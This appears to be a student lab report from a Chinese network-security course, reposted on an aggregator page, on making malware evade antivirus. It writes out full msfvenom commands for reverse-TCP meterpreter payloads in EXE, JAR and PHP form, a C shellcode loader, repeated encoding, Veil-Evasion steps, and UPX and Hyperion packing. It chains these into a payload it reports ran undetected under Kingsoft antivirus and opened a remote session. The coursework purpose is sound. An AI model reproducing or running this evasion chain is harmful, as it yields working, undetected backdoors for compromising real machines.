当前位置: 首页 > news >正文

20232427 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验目的

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(3)下载veil,加壳工具
(4)使用C + shellcode编程
(5)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(6)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

(1)杀软是如何检测出恶意代码的?
主要是通过特征码检测,行为检测,启发式检测等方式识别
(2)免杀是做什么?
让恶意代码能避开杀毒软件的检测,在目标设备上运行
(3)免杀的基本方法有哪些?
修改特征码,代码混淆,加壳保护等

三、实验内容

主机:Windows 11 系统,IP 地址 172.16.178.31,
虚拟机:Kali Linux,IP 地址 192.168.247.128
实验工具:msfvenom、Veil-Evasion、MinGW-w64、UPX、Hyperion

1.环境配置

安装 MinGW-w64(用于编译 C 语言 shellcode):
sudo apt update && sudo apt install -y mingw-w64
image

安装 UPX 压缩壳工具:
sudo apt install -y upx-ucl
安装 Hyperion 加密壳(默认路径 /usr/share/windows-resources/hyperion/,若缺失则手动下载解压至该目录)
image

免杀基准测试
生成基础恶意文件作为检出率基准,用于对比后续免杀效果:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f exe > base_20232427.exe
image

将该文件上传至VirusTotal检测。
image

2.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1MSF 编码器使用与多类型文件生成

生成编码的 EXE 文件
单次编码 EXE:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f exe > encoded1_20232427.exe
image
image

10 次迭代编码 EXE(增强变形效果):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f exe > encoded10_20232427.exe
image
image

基本没有什么变化

生成 JAR 文件及编码版本
基础 JAR 文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f jar > jar_base_20232427.jar
image
image

10 次编码 JAR 文件:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.247.128 LPORT=2427 -f jar > jar_encoded10_20232427.jar
image
image

可以看到jar文件更难被识别出来

生成 PHP 文件及编码版本
基础 PHP 文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 > php_base_20232427.php
image
image

10 次编码 PHP 文件:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.247.128 LPORT=2427 > php_encoded10_20232427.php
image
image

可以看到php文件很难被识别,并且编码后免杀效果非常明显

2.2Veil-Evasion 工具使用

Veil 安装
安装 Veil:
sudo apt -y install veil
image

配置环境
sudo /usr/share/veil/config/setup.sh --force --silent
image

启动 Veil:
Veil
image

生成免杀恶意文件
进入 Evasion 模块:
use 1 #选择Evasion工具
image

查看可用载荷并选择 C 语言反向 TCP 载荷:
list #列出载荷,找到c/meterpreter/rev_tcp(通常为第7项)
image

use 7 #选择该载荷
image

配置载荷参数:
set LHOST 192.168.247.128 #虚拟机IP
set LPORT 2427 #端口
generate #生成文件
输入文件名(veil_20232427),生成的 EXE 文件路径为
/var/lib/veil/output/compiled/veil_20232427.exe。
image
image

验证:上传该文件至 VirusTotal 检测,记录检出率。
image

有一定的免杀效果

2.3C + Shellcode 编程实现免杀

生成 Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f c > shellcode_20232427.c
image

编写 C 语言程序
用vi编辑文件,添加执行逻辑:
vi shellcode_20232427.c
在文件末尾添加主函数:
int main(){
int (func)() = (int()())buf; // 将Shellcode转为函数指针
func(); // 执行Shellcode
}
保存退出(Esc,:wq)。
image

编译生成 EXE 文件
i686-w64-mingw32-g++ shellcode_20232427.c -o shellcode_c_20232427.exe
image

效果验证
上传shellcode_c_20232427.exe至 VirusTotal 检测,记录检出率。
image

2.4使用加壳工具

UPX 压缩壳
对 C+Shellcode 生成的 EXE 加壳:
upx shellcode_c_20232427.exe -o shellcode_upx_20232427.exe
image

上传检测,观察检出率变化。
image

检出率上升,说明UPX特征易被识别
Hyperion 加密壳
复制文件到 Hyperion 工作目录:
cp shellcode_c_20232427.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
加密生成文件:
wine hyperion.exe -v shellcode_c_20232427.exe shellcode_hyp_20232427.exe
image
image

上传检测,记录检出率。
检出率上升,说明加密壳特征被杀软收录
image

3.通过组合应用各种技术实现恶意代码免杀

采用 “MSF 编码 + C 语言编译 + UPX 压缩 + Hyperion 加密” 组合策略:
生成 10 次编码的 Shellcode 并保存为 C 文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f c > combo_shellcode_20232427.c
image

编辑 C 文件,添加主函数(同 “C+Shellcode 编程” 步骤 2)。
image

编译生成 EXE:
i686-w64-mingw32-g++ combo_shellcode_20232427.c -o combo_base_20232427.exe
image

UPX 压缩:
upx combo_base_20232427.exe -o combo_upx_20232427.exe
image

Hyperion 加密:
cp combo_upx_20232427.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
wine hyperion.exe -v combo_upx_20232427.exe combo_final_20232427.exe
image

将combo_final_20232427.exe复制到 Windows 11 主机,用金山毒霸进行自定义查杀,验证。
image

4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

Kali 端启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.247.128
set LPORT 2427
exploit
保持金山毒霸开启,双击运行combo_final_20232427.exe
验证回连成功
输入meterpreter > dir等命令,可正常查看 Windows 主机目录,验证控制成功。
image

杀软名称:金山毒霸
病毒库版本:2025.02.24.17
软件版本:15.2025.0.8.022400.1517
image

四、问题及解决方案

1.生成php文件上传VirusTotal 检测错误

image
检查后发现该文件为0kb,
image
编码器不兼容:x86/shikata_ga_nai 是针对 x86 架构二进制代码的编码器,而 PHP payload 是文本格式的脚本代码,编码器无法对其有效处理,可能导致输出失败,生成空文件。
参数错误:PHP payload 通常不需要使用二进制编码器(如-e指定的编码器),强行使用会导致 msfvenom 处理异常,无法生成有效内容。
解决办法:生成 PHP 文件时去掉-e编码器参数,去掉-f php参数,直接使用基础命令即可生成有效文件
image
有效

五、心得体会

通过本次免杀原理与实践实验,我掌握了 MSF 编码器、Veil-Evasion、C+Shellcode 编程及加壳工具的使用,也理解了组合免杀的核心逻辑。从基础后门高检出率,到通过编码、封装、加壳将检出率降低,最终实现与金山毒霸共生并成功回连,让我直观感受到杀软的检测机制与免杀技术的对抗关系。
实验中解决各种问题的过程,提升了我的问题排查能力。同时我也认识到,免杀技术需用于合法渗透测试,需坚守网络安全伦理,这为后续深入学习攻防技术奠定了正确方向。

http://www.hskmm.com/?act=detail&tid=39363

相关文章:

  • (第七次)tensorflow与keras
  • 20232417 2025-2026-1 《网络与系统攻防技术》实验三实验报告
  • 2025 年 10 月贵州旅游旅行社最新推荐,聚焦高端定制需求与全案交付能力
  • 2025 年 10 月贵州旅游旅行社最新推荐,精准检测与稳定性能深度解析
  • 2025 年 10 月贵州旅游旅行社最新推荐,实力品牌深度解析采购无忧之选!
  • (第六次)聚类和神经网络
  • PyTorch API 详细中文文档,基于PyTorch2.5
  • [java 锁]
  • 深入解析:windows输入法中英切换(英文提示)ALT + SHIFT切换(搜狗输入法CTRL+SHIFT+E切换)英文键盘
  • 小白 / 学生党必藏!真正有效的最佳安卓数据恢复软件
  • LeetCode边界与内部和相等的稳定子数组
  • 存储系统
  • 102302122许志安作业1
  • 部分思维题
  • 别再踩坑!真正有效的最佳免费数据恢复软件,亲测能救
  • 壁纸网站
  • Titanic轮船人员生存率预测
  • 自行搭建了几个AIGC小站点,可结合接口平台使用
  • ARC201B Binary Knapsack
  • 单个神经元手写数字识别
  • LDC
  • 单层神经元手写数字识别
  • 完整教程:由JoyAgent观察AI Agent 发展
  • 人工智能初了解
  • 173天隧道技术篇防火墙组策略ICMPDNSSMB协议出网判断C2上线解决方案
  • TF1和TF2
  • Spark计算引擎
  • Hive数据仓库工具
  • Hbase分布式数据库
  • MapReduce并行计算框架